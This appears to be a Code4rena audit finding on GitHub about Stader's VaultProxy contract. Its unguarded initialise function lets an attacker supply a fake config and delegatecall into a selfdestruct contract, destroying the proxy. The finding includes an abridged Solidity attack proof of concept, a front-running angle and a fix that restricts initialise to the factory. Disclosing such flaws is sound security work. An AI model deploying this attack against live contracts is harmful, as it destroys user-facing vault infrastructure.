code423n4 commented 1 year ago

Lines of code

https://github.com/code-423n4/2023-06-stader/blob/main/contracts/VaultProxy.sol#L17

Vulnerability details

Impact

Attacker can selfdestruct VaultProxy deployment.

    constructor() {}

    //initialise the vault proxy with data
    function initialise(
        bool _isValidatorWithdrawalVault,
        uint8 _poolId,
        uint256 _id,
        address _staderConfig
    ) external {
        if (isInitialized) {
            revert AlreadyInitialized();
        }
        UtilLib.checkNonZeroAddress(_staderConfig);
        isValidatorWithdrawalVault = _isValidatorWithdrawalVault;
        isInitialized = true;
        poolId = _poolId;
        id = _id;
        staderConfig = IStaderConfig(_staderConfig);
        owner = staderConfig.getAdmin();
    }

    /**route all call to this proxy contract to the respective latest vault contract
     * fetched from staderConfig. This approch will help in changing the implementation
     * of validatorWithdrawalVault/nodeELRewardVault for already deployed vaults*/
    fallback(bytes calldata _input) external payable returns (bytes memory) {
        address vaultImplementation = isValidatorWithdrawalVault
            ? staderConfig.getValidatorWithdrawalVaultImplementation()
            : staderConfig.getNodeELRewardVaultImplementation();
        (bool success, bytes memory data) = vaultImplementation.delegatecall(_input);
        if (!success) {
            revert(string(data));
        }
        return data;
    }

VaultProxy is first deployed using deploy script (deployContracts.ts). Since anyone can call initialise, attacker can craft malicious parameters for later fallback call. In the fallback, implementation address is get from staderConfig which is initialized in initialise() thus attacker have full control over it. Attacker can deploy a contract containing selfdestruct and call it via fallback.

Since VaultProxy is used in VaultFactory for deploying vaults, this will cause service disrupture. Admin can try to solve this by VaultFactory::updateVaultProxyAddress with another VaultProxy, but because VaultProxy::initialise can be frontrun, determined attacker can destroy that VaultProxy too.

Proof of Concept

contract Destructible {
    function exit() external {
        selfdestruct(payable(msg.sender));
    }
}

contract FakeStaderConfig {
    ...
    function getValidatorWithdrawalVaultImplementation() external returns (address) {
        // return address of deployed Destructible
        ...
    }
}

interface IVaultProxy {
    function initialise(bool, uint, uint, address) external;
}

contract Attack {
    ...
    function attack() external {
        IVaultProxy(vaultProxy).initialise(
            true,   // _isValidatorWithdrawalVault
            0,      // any
            0,      // any
            ...     // address of deployed FakeStaderConfig
        );

        vaultProxy.call(abi.encodeWithSelector(Destructible.exit.selector));
    }
}

Tools Used

Manual

Recommended Mitigation Steps

Add guard for VaultProxy::initialise.

>>  address immutable factory;

>>  constructor() { factory = msg.sender; }

    //initialise the vault proxy with data
    function initialise(
        bool _isValidatorWithdrawalVault,
        uint8 _poolId,
        uint256 _id,
        address _staderConfig
    ) external {
>>      require(msg.sender == factory);
        if (isInitialized) {
            revert AlreadyInitialized();
        }

Assessed type

call/delegatecall

c4-judge commented 1 year ago

Picodes marked the issue as duplicate of #167